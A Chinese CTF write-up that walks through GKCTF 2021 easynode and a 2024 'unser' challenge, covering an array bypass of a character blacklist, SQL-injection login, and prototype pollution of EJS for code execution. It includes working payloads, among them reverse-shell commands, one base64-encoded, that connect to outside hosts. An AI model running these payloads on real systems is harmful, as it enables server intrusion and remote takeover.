2024黄河流域比赛的复现

news2025/6/15 4:49:16

目录

WEB

[GKCTF 2021]easynode

unser

知识点


WEB

根据此题先复现[GKCTF 2021]easynode这个题,这两个题类似

[GKCTF 2021]easynode

1.打开页面发现是登录页面,找到源文件里面的代码,分析如何进行登录,发现经过safeQuery()函数处理,如果result[0]不为空则登陆成功返回token

app.post('/login',function(req,res,next) //这行代码定义了一个处理 POST 请求的路由,路径为 /login。当客户端向这个路径发送 POST 请求时,会执行后面的匿名函数next。
{
    let username = req.body.username;
    let password = req.body.password; //这两行代码从请求体(req.body)中提取用户名和密码。
    safeQuery(username,password).then //safeQuery` 很可能是一个返回 Promise 的函数,用于安全地查询用户名和密码是否匹配。这个函数可能涉及到数据库查询
     (
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    )这部分代码是 safeQuery 函数的回调函数,它处理查询结果。如果 result[0] 是真值(可能是表示查询成功),则调用 generateToken 函数生成一个令牌,并将其与消息 "yes" 一起返回给客户端,并会出现token的值。否则,返回错误消息 "username or password wrong"。
.then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  }) //catch 部分用于捕获并处理任何在上述过程中发生的错误。如果发生错误,它会向客户端发送一个错误消息 "something wrong!"。

2.由于这里出现了safeQuery()函数,所以去找相关信息,在这串代码中我们发现遍历黑名单进行匹配是弱等于,那么我们可以用数组绕过

let safeQuery =  async (username,password)=>{
//这里定义了一个名为 safeQuery 的异步函数,它接受两个参数:username 和 password。
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    } //这个函数接受一个字符串 str,然后检查它是否包含 blacklist 数组中的任何字符。如果包含,它会将该字符替换为 *。简言之就是会把username和password中的\ ^ ( ) " '字符换成*

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }
//这个函数的目的是遍历输入字符串 str 的每个字符,并检查 waf 函数是否将其替换为 *。然后将*添加到对应被替换的位置,然后str用加号进行拼接并返回
    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));//代码尝试使用某种 format 函数(该函数在这段代码中并未定义)来构建 SQL 查询。它限制了用户名和密码的长度为前20个字符
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}//代码首先等待 select 函数执行 SQL 查询,并将结果转化为 JSON 字符串,然后再将其解析回一个对象。

3.但是在利用数组绕过的时候发现后面调用substr会报错。所以我们就要利用js的特性,当数组相加时会转换成字符串,利用这个特性,手动添加一个在黑名单的字符(位置在哪都行),括号被替换发生了字符串相加,payload如下:

username[]=admin'#&username=1&username=1&username=1&username=1&username=1&username=(&password=123456

为什么中间要填那么多1:如果中间字符太少遍历完数组后又依次遍历每个字符,导致单引号被替换成星号

4.进行抓包,发送请求,得到token的值

5.观察源代码,发现在/adminDIV路由中存在原型链污染

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

存在extend函数造成原型链污染,用json格式的addDIV去污染board

6.观察一下

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));

发现是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,所以我们就需要让 username 等于 __proto_,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token

app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});

7.接收参数username和password进行数据库插入数据创建用户,前提是需要有正确的token。

我们利用刚刚得到admin的token去创建用户__proto__

8. 然后在login去登录,成功得到token值

由于反弹shell可能出现编码问题,我们base64加上url编码一下

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA%2BJjEi|base64 -d|bash');var __tmp2"}

 成功污染

9.然后找到调用ejs模板的/admin路由

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});

找到调用处

const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})

10.board参数已经被我们污染了,也就是说只要username为__proto__就行,往前看可以知道是由token决定,所以访问/admin路由,修改为__proto__的token发送即可

11.得到flag

 

unser

 1.数组绕过,从而sql注入进行用户名admin登录,拿到session以后进入第二层:

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=*&password=1

2.传参token,token只要是object就可以,两边都是undefined就通过了,得到flag:

token={"__proto__":{"flag":"1234"}}

知识点

资料:js原型链污染(超详细)-CSDN博客

JavaScript原型链污染原理及相关CVE漏洞剖析 - FreeBuf网络安全行业门户 

【网络安全系列】JavaScript原型链污染攻击总结_shvl-CSDN博客 

浅析javascript原型链污染攻击 - 先知社区 (aliyun.com) 

1.JavaScript 常被描述为一种基于原型的语言 (prototype-based language)——每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。

2.可以看到,person是一个Person类的实例,有四个属性:name、age、gender、proto。其中,前三个是我们构建函数中定义的,第4个属性proto就是Person.prototype。

参考下图:
 

3.原型链污染:

在JavaScript发展历史上,很少有真正的私有属性,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。攻击者可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。原型链污染通常会导致拒绝服务、篡改程序执行流程、导致远程执行代码等漏洞。
原型链污染的发生主要有两种场景:不安全的对象递归合并和按路径定义属性。 

4.

  1. 原型的定义:

    原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

    (1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型

    (2)所有函数拥有prototype属性(显式原型)(仅限函数)

  2. 原型链的定义:

    原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

  3. 原型对象:

    在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1824472.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FreeRTOS简单内核实现4 临界段

文章目录 0、思考与回答0.1、思考一0.2、思考二0.3、思考三 1、关中断1.1、带返回值1.2、不带返回值 2、开中断3、临界段4、应用 0、思考与回答 0.1、思考一 为什么需要临界段&#xff1f; 有时候我们需要部分代码一旦这开始执行&#xff0c;则不允许任何中断打断&#xff0…

GMT6绘制北半球

设置绘制区域及投影方式 投影方式选择立体等角投影&#xff0c;在GMT6中的命令是-Js # 定义区域变量和投影变量&#xff0c;纬度从北纬30度到极点 region-180/180/30/90 projection0/90/1:60000000 gmt set PROJ_ELLIPSOID WGS-84定义CPT及地形展示 现在定义一个CPT用于显示…

彻底理解 C 语言的数组在内存中到底是怎么存放的!

在C语言中&#xff0c;数组是经常被用到的重要数据类型&#xff0c;但在实际使用时&#xff0c;往往有很多工程师会出现各种各样的问题&#xff0c;如内存越界、错误的访问、初始化不当等。这其中有很大一个原因是没有彻底理解数组的存储机制&#xff0c;出现了一些非法地址或者…

基于springboot实现农产品直卖平台系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现农产品直卖平台系统的设计演示 摘要 计算机网络发展到现在已经好几十年了&#xff0c;在理论上面已经有了很丰富的基础&#xff0c;并且在现实生活中也到处都在使用&#xff0c;可以说&#xff0c;经过几十年的发展&#xff0c;互联网技术已经把地域信息的隔…

英语学习笔记36——Where ... ?

Where … ? ……在哪里&#xff1f; 词汇 Vocabulary beside prep. 在……旁边 同义词&#xff1a; near by 构成&#xff1a;be side side n. 边 搭配&#xff1a;side walk 人行道 例句&#xff1a;Bobby在我旁边。    Bobby is beside me. off prep. 离开&#xff…

Excel使用技巧(一)

一. 快速调整数据位置 已经录入数据的表格&#xff0c;要调整某一列的位置怎么办&#xff1f; 只要选中要调整的数据区域&#xff0c;然后按住Shift键不放&#xff0c;光标放到绿色边框位置后&#xff0c;按下鼠标左键不放拖动即可&#xff1a; 二. 取消合并单元格并恢复数据…

java反序列化---cc6链

目录 Transformer[]数组分析 链条代码跟进 ChainedTransformer.transform() LazyMap.get() TiedMapEntry.getValue() TiedMapEntry.hashCode() HashMap.hash() HashMap.put()的意外触发 LazyMap.get()中key的包含问题 cc6的payload如下 import org.apache.commons.co…

AI绘画入门教学:ComfyUI工作流安装教程

ComfyUI 是专为 Stable Diffusion 打造的图形用户界面&#xff08;GUI&#xff09;&#xff0c;采用了基于节点的操作方式。用户可以通过连接不同的模块&#xff08;即节点&#xff09;来创建复杂的图像生成流程。这些节点涵盖了多样的功能&#xff0c;包括加载检查点模型、输入…

CSS从入门到精通——背景样式

目录 背景颜色 任务描述 相关知识 背景色 编程要求 背景图片 任务描述 相关知识 背景图片 设置背景图片 平铺背景图像 任务要求 背景定位与背景关联 任务描述 相关知识 背景定位 背景关联 简写背景 编程要求 背景颜色 任务描述 本关任务&#xff1a;在本关…

在不损失质量的情况下减小PDF 文件大小的 6 种方法

PDF 文件通常带有大量图形和图像&#xff0c;这可能会使 PDF 文件大小相当大。而当我们通过电子邮件上传或发送具有大小限制的 PDF 时&#xff0c;大型 PDF 经常会带来麻烦&#xff0c;或者大文件占用了太多空间。在这种情况下&#xff0c;在不损失质量的情况下减小 PDF 文件大…

文章MSM_metagenomics(一):介绍

介绍 欢迎大家关注全网生信学习者系列&#xff1a; WX公zhong号&#xff1a;生信学习者Xiao hong书&#xff1a;生信学习者知hu&#xff1a;生信学习者CDSN&#xff1a;生信学习者2 用于复现Huang et al. [huang2024establishment]研究分析的计算工作流程&#xff0c;所有复…

基于51单片机的智能水表

一.硬件方案 本设计主要以51单片机作为主控处理器的智能水表&#xff0c;该水表能够记录总的用水量和单次用水量&#xff0c;当用水量超出设定值时系统发出声光报警提醒&#xff0c;水量报警值能够通过按键进行自行设置&#xff0c;并且存储于AT24C02中&#xff0c;并且可以测…

法国恐脱欧、陷金融危机!股指本周跌6.2%,创三年多最大跌幅

内容提要 法国财政部长警告称&#xff0c;左翼政党联盟若上台可能导致法国脱欧&#xff0c;而且无论极右翼还是左翼上台&#xff0c;都可能导致法国爆发金融危机。由于政坛风险高企&#xff0c;法国股市周五延续跌势&#xff0c;本周已经抹掉2100亿美元市值&#xff0c;几乎回…

RabbitMQ实践——利用一致性Hash交换器做带权重的调度

在《RabbitMQ实践——利用一致性Hash交换器做负载均衡》一文中&#xff0c;我们介绍了如何开启一致性hash交换器&#xff0c;并实现了消息的负载均衡&#xff0c;以达到横向扩展消费者数量的能力。 但是现实中&#xff0c;可能存在这样的场景&#xff1a;一些队列所在的机器配置…

ComfyUI 宝藏插件之辅助工具

今天我们就来分享下这个 ComfyUI 辅助脚本工具的功能。 插件安装&#xff0c;小伙伴们直接在管理器里搜索「ComfyUI-Custom-Scripts」&#xff0c;点击安装就可以了&#xff0c;这里再告诉小伙伴们一个小技巧&#xff0c;点击名称可以跳转到插件所在的官网哦。 没有安装管理器…

linux中DNS域名解析服务(后续补充)

分离解析简介&#xff1a; 分离解析的域名服务器实际也是主域名服务器&#xff0c;这里主要是指根据不同的客户端提供不同的域名解析记录。比如来自内网和外网的不同网段地址的客户机请求解析同一域名时&#xff0c;为其提供不同的解析结果。 实验要求&#xff1a;防火墙要么关…

【第10章】Vue之Element Plus常用组件

文章目录 前言一、表格1. 带斑马纹表格2. 展示 二、分页1.国际化(中文)2.分页代码3. 展示 三、表单1. 表单代码2. 展示 四、卡片1. 卡片代码2. 展示 总结 前言 通过上一章的快速入门&#xff0c;我们已经学习了按钮使用&#xff0c;接下来学习Element Plus的常用组件&#xff…

HTMLCSS详细总结(提高版)

HTML5的新特性 1. HTML5 新增的语义化标签 <div class“header”> </div> <div class“nav”> </div> <div class“content”> </div> <div class“footer”> </div> <header>&#xff1a;头部标签<nav>&#…

Stable Diffusion【应用篇】【艺术写真】:粘土风之后陶瓷风登场,来看看如何整合AI艺术写真吧

在国外的APP Remini引爆了粘土滤镜后&#xff0c;接着Remini又推出了瓷娃娃滤镜。相当粘土滤镜&#xff0c;个人更喜欢瓷娃娃滤镜&#xff0c;因为陶瓷工艺更符合东方艺术审美。 下面我们就来看看陶瓷特效在AI写真方面的应用。话不多说&#xff0c;我们直接开整。 关于粘土整…

day54 动态规划 part10 300.最长递增子序列 674. 最长连续递增序列 718. 最长重复子数组

300.最长递增子序列 动规五部曲 1.dp[i]的定义 dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度 2.状态转移方程 位置i的最长升序子序列等于j从0到i-1各个位置的最长升序子序列 1 的最大值。 所以&#xff1a;if (nums[i] > nums[j]) dp[i] max(dp[i], dp…